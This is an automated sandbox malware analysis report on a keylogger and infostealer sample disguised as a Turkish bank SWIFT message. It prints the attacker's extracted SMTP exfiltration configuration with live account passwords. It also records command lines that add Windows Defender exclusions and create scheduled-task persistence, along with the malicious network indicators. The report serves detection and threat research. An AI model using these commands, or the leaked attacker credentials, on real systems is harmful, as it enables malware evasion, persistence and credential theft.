Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Ziraat_Bankasi_Swift_Messaji.png.exe

Overview

General Information

Sample name:Ziraat_Bankasi_Swift_Messaji.png.exe
Analysis ID:1631329
MD5:7d84e8d750f3e9d07a0e0817ad8e6ceb
SHA1:89ac3d01ce0cacccac522e4d7d62af77a4fdfce2
SHA256:59ca67046d065f0fd86ed3ccc7b41aa3168e5557523644fcba23d1ac65ce69d8
Tags:exeuser-TeamDreier
Infos:

Detection

MSIL Logger, MassLogger RAT, PureLog Stealer, Snake Keylogger, VIP Keylogger
Score:100
Range:0 - 100
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Scheduled temp file as task from temp location
Suricata IDS alerts for network traffic
Yara detected AntiVM3
Yara detected MSIL Logger
Yara detected MassLogger RAT
Yara detected PureLog Stealer
Yara detected Snake Keylogger
Yara detected Telegram RAT
Yara detected VIP Keylogger
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
Adds a directory exclusion to Windows Defender
Contains functionality to capture screen (.Net source)
Contains functionality to log keystrokes (.Net Source)
Injects a PE file into a foreign processes
Joe Sandbox ML detected suspicious sample
Loading BitLocker PowerShell Module
Sample uses string decryption to hide its real strings
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Tries to detect the country of the analysis system (by using the IP)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses an obfuscated file name to hide its real file extension (double extension)
Uses schtasks.exe or at.exe to add and modify task schedules
Uses the Telegram API (likely for C&C communication)
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to dynamically determine API calls
Contains functionality to query locales information (e.g. system language)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected non-DNS traffic on DNS port
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
Potential key logger detected (key state polling based)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious Add Scheduled Task Parent
Sigma detected: Suspicious Schtasks From Env Var Folder
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Yara detected Credential Stealer
Yara signature match

Classification

Process Tree

  • System is w10x64
  • Ziraat_Bankasi_Swift_Messaji.png.exe (PID: 2344 cmdline: "C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe" MD5: 7D84E8D750F3E9D07A0E0817AD8E6CEB)
    • powershell.exe (PID: 2200 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
      • conhost.exe (PID: 744 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • WmiPrvSE.exe (PID: 7532 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)
    • powershell.exe (PID: 7144 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\BZTCUCKTKd.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
      • conhost.exe (PID: 2148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • schtasks.exe (PID: 2924 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\BZTCUCKTKd" /XML "C:\Users\user\AppData\Local\Temp\tmp9D7B.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)
      • conhost.exe (PID: 7200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • conhost.exe (PID: 5480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • Ziraat_Bankasi_Swift_Messaji.png.exe (PID: 7320 cmdline: "C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe" MD5: 7D84E8D750F3E9D07A0E0817AD8E6CEB)
      • Native_New-Nova.exe (PID: 7380 cmdline: "C:\Users\user\AppData\Local\Temp\Native_New-Nova.exe" MD5: B25A05357AE8104F3D41F8DC1AAA28AE)
      • Native_snake01.exe (PID: 7396 cmdline: "C:\Users\user\AppData\Local\Temp\Native_snake01.exe" MD5: 0C8E94A89D78431A3F4EBFD9C00C8DB8)
  • BZTCUCKTKd.exe (PID: 7576 cmdline: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exe MD5: 7D84E8D750F3E9D07A0E0817AD8E6CEB)
    • schtasks.exe (PID: 7704 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\BZTCUCKTKd" /XML "C:\Users\user\AppData\Local\Temp\tmpAE63.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)
      • conhost.exe (PID: 7712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • BZTCUCKTKd.exe (PID: 7748 cmdline: "C:\Users\user\AppData\Roaming\BZTCUCKTKd.exe" MD5: 7D84E8D750F3E9D07A0E0817AD8E6CEB)
      • Native_New-Nova.exe (PID: 7800 cmdline: "C:\Users\user\AppData\Local\Temp\Native_New-Nova.exe" MD5: B25A05357AE8104F3D41F8DC1AAA28AE)
      • Native_snake01.exe (PID: 7820 cmdline: "C:\Users\user\AppData\Local\Temp\Native_snake01.exe" MD5: 0C8E94A89D78431A3F4EBFD9C00C8DB8)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
404 Keylogger, Snake KeyloggerSnake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: VIP Keylogger

{"Exfil Mode": "SMTP", "Email ID": "phatbills@xma0.com", "Password": "london@1759", "Host": "mail.xma0.com", "Port": "587"}

Threatname: MassLogger

{"EXfil Mode": "SMTP", "From": "path@xma0.com", "Password": "london@1759", "Server": "mail.xma0.com"}

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "phatbills@xma0.com", "Password": "london@1759", "Host": "mail.xma0.com", "Port": "587", "Version": "4.4"}

Yara Signatures

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeMALWARE_Win_RedLineDetects RedLine infostealerditekSHen
  • 0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00
  • 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E
  • 0x700:$s3: 83 EC 38 53 B0 4F 88 44 24 2B 88 44 24 2F B0 B9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ...
  • 0x1ed8a:$s4: B|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B
  • 0x1e9d0:$s5: delete[]
  • 0x1de88:$s6: constructor or from DllMain.
C:\Users\user\AppData\Local\Temp\Native_snake01.exeMALWARE_Win_RedLineDetects RedLine infostealerditekSHen
  • 0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00
  • 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E
  • 0x700:$s3: 83 EC 38 53 B0 6A 88 44 24 2B 88 44 24 2F B0 A0 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ...
  • 0x1ed8a:$s4: B|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B
  • 0x1e9d0:$s5: delete[]
  • 0x1de88:$s6: constructor or from DllMain.

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000010.00000002.2951469963.0000000002101000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_MassLoggerYara detected MassLogger RATJoe Security
    00000010.00000002.2951469963.0000000002101000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
      00000010.00000002.2951469963.0000000002101000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_MSILLoggerYara detected MSIL LoggerJoe Security
        00000010.00000002.2951469963.0000000002101000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_TelegramRATYara detected Telegram RATJoe Security
          00000010.00000002.2951469963.0000000002101000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
            Click to see the 127 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            10.0.Native_snake01.exe.400000.0.unpackMALWARE_Win_RedLineDetects RedLine infostealerditekSHen
            • 0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00
            • 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E
            • 0x700:$s3: 83 EC 38 53 B0 6A 88 44 24 2B 88 44 24 2F B0 A0 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ...
            • 0x1ed8a:$s4: B|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B
            • 0x1e9d0:$s5: delete[]
            • 0x1de88:$s6: constructor or from DllMain.
            9.2.Native_New-Nova.exe.400000.0.unpackMALWARE_Win_RedLineDetects RedLine infostealerditekSHen
            • 0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00
            • 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E
            • 0x700:$s3: 83 EC 38 53 B0 4F 88 44 24 2B 88 44 24 2F B0 B9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ...
            • 0x1ed8a:$s4: B|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B
            • 0x1e9d0:$s5: delete[]
            • 0x1de88:$s6: constructor or from DllMain.
            17.0.Native_snake01.exe.400000.0.unpackMALWARE_Win_RedLineDetects RedLine infostealerditekSHen
            • 0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00
            • 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E
            • 0x700:$s3: 83 EC 38 53 B0 6A 88 44 24 2B 88 44 24 2F B0 A0 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ...
            • 0x1ed8a:$s4: B|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B
            • 0x1e9d0:$s5: delete[]
            • 0x1de88:$s6: constructor or from DllMain.
            16.2.Native_New-Nova.exe.400000.0.unpackMALWARE_Win_RedLineDetects RedLine infostealerditekSHen
            • 0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00
            • 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E
            • 0x700:$s3: 83 EC 38 53 B0 4F 88 44 24 2B 88 44 24 2F B0 B9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ...
            • 0x1ed8a:$s4: B|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B
            • 0x1e9d0:$s5: delete[]
            • 0x1de88:$s6: constructor or from DllMain.
            16.2.Native_New-Nova.exe.214183e.2.raw.unpackJoeSecurity_MassLoggerYara detected MassLogger RATJoe Security
              Click to see the 389 entries

              Sigma Signatures

              System Summary

              barindex
              Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe", ParentImage: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe, ParentProcessId: 2344, ParentProcessName: Ziraat_Bankasi_Swift_Messaji.png.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe", ProcessId: 2200, ProcessName: powershell.exe
              Sigma detected: Powershell Defender Exclusion
              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe", ParentImage: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe, ParentProcessId: 2344, ParentProcessName: Ziraat_Bankasi_Swift_Messaji.png.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe", ProcessId: 2200, ProcessName: powershell.exe
              Sigma detected: Suspicious Add Scheduled Task Parent
              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\BZTCUCKTKd" /XML "C:\Users\user\AppData\Local\Temp\tmpAE63.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\BZTCUCKTKd" /XML "C:\Users\user\AppData\Local\Temp\tmpAE63.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exe, ParentImage: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exe, ParentProcessId: 7576, ParentProcessName: BZTCUCKTKd.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\BZTCUCKTKd" /XML "C:\Users\user\AppData\Local\Temp\tmpAE63.tmp", ProcessId: 7704, ProcessName: schtasks.exe
              Sigma detected: Suspicious Schtasks From Env Var Folder
              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\BZTCUCKTKd" /XML "C:\Users\user\AppData\Local\Temp\tmp9D7B.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\BZTCUCKTKd" /XML "C:\Users\user\AppData\Local\Temp\tmp9D7B.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe", ParentImage: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe, ParentProcessId: 2344, ParentProcessName: Ziraat_Bankasi_Swift_Messaji.png.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\BZTCUCKTKd" /XML "C:\Users\user\AppData\Local\Temp\tmp9D7B.tmp", ProcessId: 2924, ProcessName: schtasks.exe
              Sigma detected: Non Interactive PowerShell Process Spawned
              Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe", ParentImage: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe, ParentProcessId: 2344, ParentProcessName: Ziraat_Bankasi_Swift_Messaji.png.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe", ProcessId: 2200, ProcessName: powershell.exe

              Persistence and Installation Behavior

              barindex
              Sigma detected: Scheduled temp file as task from temp location
              Source: Process startedAuthor: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\BZTCUCKTKd" /XML "C:\Users\user\AppData\Local\Temp\tmp9D7B.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\BZTCUCKTKd" /XML "C:\Users\user\AppData\Local\Temp\tmp9D7B.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe", ParentImage: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe, ParentProcessId: 2344, ParentProcessName: Ziraat_Bankasi_Swift_Messaji.png.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\BZTCUCKTKd" /XML "C:\Users\user\AppData\Local\Temp\tmp9D7B.tmp", ProcessId: 2924, ProcessName: schtasks.exe

              Suricata Signatures

              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
              2025-03-06T23:05:24.220980+010028033053Unknown Traffic192.168.2.449746104.21.64.1443TCP
              2025-03-06T23:05:24.771516+010028033053Unknown Traffic192.168.2.449747104.21.64.1443TCP
              2025-03-06T23:05:27.207823+010028033053Unknown Traffic192.168.2.449751104.21.64.1443TCP
              2025-03-06T23:05:27.788637+010028033053Unknown Traffic192.168.2.449752104.21.64.1443TCP
              2025-03-06T23:05:38.236995+010028033053Unknown Traffic192.168.2.449764104.21.64.1443TCP
              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
              2025-03-06T23:05:18.695406+010028032742Potentially Bad Traffic192.168.2.449736132.226.247.7380TCP
              2025-03-06T23:05:19.030222+010028032742Potentially Bad Traffic192.168.2.449738132.226.247.7380TCP
              2025-03-06T23:05:19.179812+010028032742Potentially Bad Traffic192.168.2.449739132.226.247.7380TCP
              2025-03-06T23:05:19.867330+010028032742Potentially Bad Traffic192.168.2.449740132.226.247.7380TCP
              2025-03-06T23:05:21.945459+010028032742Potentially Bad Traffic192.168.2.449736132.226.247.7380TCP
              2025-03-06T23:05:22.398693+010028032742Potentially Bad Traffic192.168.2.449739132.226.247.7380TCP
              2025-03-06T23:05:25.007957+010028032742Potentially Bad Traffic192.168.2.449749132.226.247.7380TCP
              2025-03-06T23:05:25.539246+010028032742Potentially Bad Traffic192.168.2.449750132.226.247.7380TCP
              2025-03-06T23:05:28.961118+010028032742Potentially Bad Traffic192.168.2.449753132.226.247.7380TCP
              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
              2025-03-06T23:05:50.254928+010018100071Potentially Bad Traffic192.168.2.463653149.154.167.220443TCP
              2025-03-06T23:05:52.948142+010018100071Potentially Bad Traffic192.168.2.463655149.154.167.220443TCP

              Joe Sandbox Signatures

              Click to jump to signature section

              Show All Signature Results

              AV Detection

              barindex
              Antivirus / Scanner detection for submitted sample
              Source: Ziraat_Bankasi_Swift_Messaji.png.exeAvira: detected
              Antivirus detection for dropped file
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeAvira: detection malicious, Label: TR/AD.Nekark.jfiep
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeAvira: detection malicious, Label: HEUR/AGEN.1305924
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeAvira: detection malicious, Label: TR/ATRAPS.Gen
              Found malware configuration
              Source: 00000010.00000002.2951469963.0000000002101000.00000004.00000020.00020000.00000000.sdmpMalware Configuration Extractor: MassLogger {"EXfil Mode": "SMTP", "From": "path@xma0.com", "Password": "london@1759", "Server": "mail.xma0.com"}
              Source: 00000011.00000002.2954940699.00000000021E0000.00000004.00000020.00020000.00000000.sdmpMalware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "phatbills@xma0.com", "Password": "london@1759", "Host": "mail.xma0.com", "Port": "587"}
              Source: 00000011.00000002.2954940699.00000000021E0000.00000004.00000020.00020000.00000000.sdmpMalware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "phatbills@xma0.com", "Password": "london@1759", "Host": "mail.xma0.com", "Port": "587", "Version": "4.4"}
              Multi AV Scanner detection for dropped file
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeReversingLabs: Detection: 87%
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeVirustotal: Detection: 60%Perma Link
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeReversingLabs: Detection: 87%
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeVirustotal: Detection: 84%Perma Link
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeReversingLabs: Detection: 63%
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeVirustotal: Detection: 70%Perma Link
              Multi AV Scanner detection for submitted file
              Source: Ziraat_Bankasi_Swift_Messaji.png.exeVirustotal: Detection: 70%Perma Link
              Source: Ziraat_Bankasi_Swift_Messaji.png.exeReversingLabs: Detection: 63%
              Joe Sandbox ML detected suspicious sample
              Source: Submited SampleIntegrated Neural Analysis Model: Matched 99.9% probability
              Sample uses string decryption to hide its real strings
              Source: 17.2.Native_snake01.exe.49c0f20.3.raw.unpackString decryptor: phatbills@xma0.com
              Source: 17.2.Native_snake01.exe.49c0f20.3.raw.unpackString decryptor: london@1759
              Source: 17.2.Native_snake01.exe.49c0f20.3.raw.unpackString decryptor: mail.xma0.com
              Source: 17.2.Native_snake01.exe.49c0f20.3.raw.unpackString decryptor: phatbills2@xma0.com
              Source: 17.2.Native_snake01.exe.49c0f20.3.raw.unpackString decryptor: 587
              Source: 17.2.Native_snake01.exe.49c0f20.3.raw.unpackString decryptor:

              Location Tracking

              barindex
              Tries to detect the country of the analysis system (by using the IP)
              Source: unknownDNS query: name: reallyfreegeoip.org
              Source: Ziraat_Bankasi_Swift_Messaji.png.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
              Source: unknownHTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49743 version: TLS 1.0
              Source: unknownHTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49742 version: TLS 1.0
              Source: unknownHTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49744 version: TLS 1.0
              Source: unknownHTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49745 version: TLS 1.0
              Source: unknownHTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:63649 version: TLS 1.0
              Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:63653 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:63655 version: TLS 1.2
              Source: Ziraat_Bankasi_Swift_Messaji.png.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
              Source: Binary string: Irgg.pdb source: Ziraat_Bankasi_Swift_Messaji.png.exe, BZTCUCKTKd.exe.0.dr
